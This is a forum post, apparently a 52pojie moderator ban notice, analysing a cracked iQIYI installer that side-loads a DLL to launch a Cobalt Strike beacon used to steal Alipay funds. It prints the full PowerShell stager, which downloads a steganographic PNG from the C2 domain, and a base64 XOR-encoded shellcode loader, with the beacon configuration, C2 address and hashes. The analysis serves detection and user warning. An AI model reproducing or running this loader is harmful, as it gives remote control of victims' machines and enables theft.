BanID:zxj397298976【發(fā)布軟件捆綁Cobalt Strike遠(yuǎn)控木馬】
BanID:zxj397298976【發(fā)布軟件捆綁Cobalt Strike遠(yuǎn)控木馬】

今天早晨收到@cxj998?的舉報(bào)反饋被盜刷
愛(ài)奇藝 v7.8.118.2140 去廣告優(yōu)化版-帶病毒
https://www.52pojie.cn/thread-1276263-1-1.html
我們著手分析一下看看軟件確實(shí)發(fā)現(xiàn)了問(wèn)題,軟件利用白加黑啟動(dòng)PowerShell腳本加載Cobalt Strike遠(yuǎn)程控制木馬,用來(lái)控制受害者機(jī)器進(jìn)行盜刷支付寶金額。
一:木馬行為分析
文件下載后發(fā)現(xiàn)使用了MSI打包,使用lesSmsi解包(也可以正常安裝獲得文件)

解壓后通過(guò)文件修改時(shí)間順序排序,輕松發(fā)現(xiàn)最后修改的文件很可疑

通過(guò)經(jīng)驗(yàn)(也可以調(diào)試下得到)可以看出來(lái)App.dll(MD5: 17BD779769DBEC0B58966D066F656A72)加了VMP 2.x的殼是最可疑的了,Appdll.dll其實(shí)是正常的app.dll文件,顯而易見(jiàn)愛(ài)奇藝主程序會(huì)主動(dòng)加載App.dll文件,木馬通過(guò)替換正常的DLL來(lái)做白加黑,所以看下App.dll的代碼就好了,vmp 2.x的老版本殼,直接用@ximo?大神的zeus?vmp脫殼神器輕松脫掉(當(dāng)然直接F9跑起來(lái)看也行),直接看下字符串只有一行代碼:cmd.exe /c powershell -exec bypass -f .\dataup.ps1 ,就是啟動(dòng)根目錄下dataup.ps1(F409AE142DE9167CE4CD2B691F8A2A50),它是一個(gè)的PowerShell腳本。

重點(diǎn)到了dataup.ps1這,我們看下PowerShell腳本內(nèi)容是:
sal
a
New-Object
;Add
-Type
-A
System.Drawing;
$g
=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(
"http://cs40a.microsoftup.pw/down/test22a.png"
));
$o
=a Byte[] 5220;(0..2)|%{
foreach
(
$x
in(0..1739)){
$p
=
$g
.GetPixel(
$x
,$_);
$o
[$_*1740+
$x
]=([math]::Floor((
$p
.B-band15)*16)
-bor
(
$p
.G
-band
15))}};
IEX
([System.Text.Encoding]::ASCII.GetString(
$o
[0..3546]))
這個(gè)腳本使用隱寫的方式,把代碼寫到png圖片里,根據(jù)腳本解密后的內(nèi)容:
Set
-StrictMode
-Version
2
?
?$DoIt
= @'
function func_get_proc_address {
????????
Param ($var_module, $var_procedure)???????????????
????????
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object
{ $_.GlobalAssemblyCache
-And
$_.Location.Split(
'\\'
)[-1].Equals(
'System.dll'
) }).GetType(
'Microsoft.Win32.UnsafeNativeMethods'
)
????????
$var_gpa = $var_unsafe_native_methods.GetMethod(
'GetProcAddress'
, [
Type
[]] @(
'System.Runtime.InteropServices.HandleRef'
,
'string'
))
????????
return $var_gpa.Invoke(
$null
, @([System.Runtime.InteropServices.HandleRef](
New-Object
System.Runtime.InteropServices.HandleRef((
New-Object
IntPtr), ($var_unsafe_native_methods.GetMethod(
'GetModuleHandle'
)).Invoke(
$null
, @($var_module)))), $var_procedure))
}
?
?function func_get_delegate_type {
????????
Param (
????????????????
[Parameter(Position = 0, Mandatory =
$True
)] [
Type
[]] $var_parameters,
????????????????
[Parameter(Position = 1)] [
Type
] $var_return_type = [Void]
????????
)
?
?????????
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((
New-Object
System.Reflection.AssemblyName(
'ReflectedDelegate'
)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(
'InMemoryModule'
,
$false
).DefineType(
'MyDelegateType'
,
'Class, Public, Sealed, AnsiClass, AutoClass'
, [System.MulticastDelegate])
????????
$var_type_builder.DefineConstructor(
'RTSpecialName, HideBySig, Public'
, [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags(
'Runtime, Managed'
)
????????
$var_type_builder.DefineMethod(
'Invoke'
,
'Public, HideBySig, NewSlot, Virtual'
, $var_return_type, $var_parameters).SetImplementationFlags(
'Runtime, Managed'
)
?
?????????
return $var_type_builder.CreateType()
}
?
?[Byte[]]$var_code = [System.Convert]::FromBase64String(
'38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1qFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMe2FVbyPLm/M0T+9tiKiKeUGHZ8xtXX2ewq1PsRjmHxmKhrOBUMPrTQ8BzQXECV96L0tUOUpZCXgC0KayN2Lt2wT5YLEtVDGGucs97+vRI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIYAw1tZncDYG9xAxENEw0WExQRFBgDDW1mdwNgb3EDEA0TDRMXFhMVDRATCi4pIw6UpTF1OBjAlT8DAB47//CyyzTSm+BmHocgmMR7DKE52SkaR+G2JTwk5zpgMV8GbPLeYNUr41CiqiJ2BsyQPAnVxMmQc3UhdPWqFNTLumBPH3OZgV72d94bYT6NEM2kQCtOIqSmcbULbvcpieEKbW5yEHfbGZXFK7v9qVSmQg1jjrx+76WkbIQNFQ1cyztF+kgQ8MACW1tZtz18nWGgA6IMlANij8b0bHH33qBDH0CU875iMbLzmdJdLzxfR5++gwkaDiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcqFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww=='
)
?
?for (
$x
= 0;
$x
-lt
$var_code.Count;
$x
++) {
????????
$var_code[
$x
] = $var_code[
$x
]
-bxor
35
}
?
?$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::
Copy
($var_code, 0, $var_buffer, $var_code.length)
?
?$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
?
?If ([IntPtr]::size
-eq
8) {
????????
start
-job
{ param(
$a
)
IEX
$a
} -RunAs32
-Argument
$DoIt
| wait
-job
| Receive
-Job
}
else {
????????
IEX
$DoIt
}
根據(jù)經(jīng)驗(yàn)(調(diào)試多了就知道了),很像Cobalt Strike的PowerShell服務(wù)端腳本,從上面的Base64轉(zhuǎn)換然后和35(十進(jìn)制)進(jìn)行異或就得到了ShellCode,4KB大小,不出意外就是Cobalt Strike了,那我們繼續(xù)調(diào)試下這個(gè)ShellCode。
調(diào)試小技巧:比較簡(jiǎn)單的辦法可以把ShellCode的二進(jìn)制代碼直接復(fù)制出來(lái),隨便找個(gè)無(wú)殼程序用OD加載,然后把二進(jìn)制代碼從入口點(diǎn)粘貼覆蓋進(jìn)行,就可以正常調(diào)試了(覆蓋后保存文件重新OD加載一下,這樣可以直接Ctrl+A分析下代碼)

通過(guò)經(jīng)驗(yàn),看到ShellCode的API調(diào)用方式,再次印證就是Cobalt Strike了,調(diào)試過(guò)程略過(guò)(可以自己學(xué)習(xí)單步跟蹤嘗試一下),流程就是ShellCode去cs40a.microsoftup.pw請(qǐng)求獲取Beacon核心DLL進(jìn)行內(nèi)存解密加載

網(wǎng)絡(luò)獲取的Beacon核心代碼先進(jìn)行自解密出PE,然后進(jìn)行內(nèi)存執(zhí)行

小技巧:解密出PE以后可以直接把這個(gè)數(shù)據(jù)段dump下來(lái),然后用ExeinfoPE來(lái)提取DLL


解密后的DLL通過(guò)LordPE查看導(dǎo)出模塊名稱確實(shí)是beacon.dll,再再一次印證就是Cobalt Strike了

有了Cobalt Strike的beacon.dll,那我們就看看它的木馬配置信息吧,簡(jiǎn)單的辦法直接用6總的神器,在線解密Cobalt Strike配置信息,只需要把bin文件上傳即可獲得,解密網(wǎng)址:http://pokemon.work:8501

File 4a8abb8f54fd4283af2fde919f923625bc3d6b998b215467ddc125d1b5d2823d receved !
BeaconType - HTTP
Port - 4455
SleepTime - 60000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - 255
PublicKey - b'0\x81\x9f0\r\x06\t\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xa7\t\x91\xd6\x9d\x81j`\x1f\xfa\x80\x97ds\x83\x0f\r;A\'m\'\x90@\x1d\xde\xdb\x18\xe2\xd3\xca\xb3\xc3\x15\xe3"#%\xbeB\xb6Z\xdb(x\xf3?Z\x03\xffP\x10\xb2>\x84Q\x0c\x14\x82\xadjB\xf1\xe7\xe5rn\xb3\x18\x13\xe7Cv@\xedxy\x95_@\x1e\x17,4\xd3QrAYm\xd4\x1f\x8eH\xd3\xd1\xb1\xc2\x88\xe6\xc8u/\xf6]\xc2z\xcc\xcb\xa4\xba\x9c\xd6\xd0\xe4\xdea\x96\xce\xa4\xdaH\r;\x99\xd0\xed\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
C2Server - cs40a.microsoftup.pw,/activity
UserAgent - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
HttpPostUri - /submit.php
HttpGet_Metadata - Cookie
HttpPost_Metadata - Content-Type: application/octet-stream
id
SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PipeName -
DNS_Idle - 0.0.0.0
DNS_Sleep - 0
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 305419896
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
Done!
C2的服務(wù)器地址:
cs40a.microsoftup.pw??(139.162.113.21)
當(dāng)然了,有興趣的同學(xué)可以手動(dòng)調(diào)試DLL來(lái)獲取配置信息和相關(guān)功能,我已經(jīng)調(diào)試過(guò)很多次就不再贅述,關(guān)于Cobalt Strike木馬相關(guān)的文章也有不少,大家可以搜索學(xué)習(xí),本文也是借此機(jī)會(huì)對(duì)Cobalt Strike其中一種ShellCode加載方式進(jìn)行了分析講解,希望可以幫助到大家。
木馬下載地址以及相關(guān)文件MD5(解壓密碼:52pojie):
App.dll MD5: 17BD779769DBEC0B58966D066F656A72
dataup.ps1 MD5: F409AE142DE9167CE4CD2B691F8A2A50
shellcode MD5: DDFE4FA2341F59292BFBA48E30988831
Beacon.dll MD5: 50B9A5F1257F5F392D5415FED80904D7
樣本下載見(jiàn)論壇原文
二:溯源分析
通過(guò)C2域名非常眼熟,簡(jiǎn)單搜索了下發(fā)現(xiàn)之前360安全衛(wèi)士在6月份就發(fā)過(guò)相關(guān)的分析:https://www.#/n/11718.html?,原來(lái)是持續(xù)性作案,一直通過(guò)替換熱門軟件的DLL,進(jìn)行白加黑啟動(dòng)木馬來(lái)作案,最后通過(guò)各種方式進(jìn)行大數(shù)據(jù)檢索定位到這位作案的朋友,過(guò)程略。。。
相關(guān)分析溯源已提交給支付寶安全中心、360安全中心,受害人也已報(bào)警,相關(guān)信息已提交公安,希望好生招待這位朋友。
三:后話
雖然論壇有很多高手,但我們希望提高所有人的安全意識(shí)和識(shí)別能力,看上述我的分析,你是不是也想來(lái)試試?
學(xué)會(huì)了之后,有能力分析出問(wèn)題也可以幫助我們,盡快舉報(bào),大家合力保衛(wèi)論壇安全。
想對(duì)那些心懷不軌的人說(shuō),你在吾愛(ài)破解這樣的技術(shù)論壇玩這種小伎倆,分分鐘就給你剝皮把肉看得清清楚楚了,這里都是活躍在互聯(lián)網(wǎng)安全界的精英,任何小動(dòng)作都是自討苦吃,奉勸那些蠢蠢欲動(dòng)的人,盡快走入正途,不要誤入歧途!
最后感謝大家一直以來(lái)對(duì)吾愛(ài)破解論壇的支持和維護(hù),論壇安全離不開(kāi)大家監(jiān)督,任何違法違規(guī)的行為都逃不過(guò)大家的眼睛和管理的審查,對(duì)待此類*渣論壇絕不手軟,堅(jiān)決處罰到底!
原帖地址:?https://www.52pojie.cn/thread-1276525-1-1.html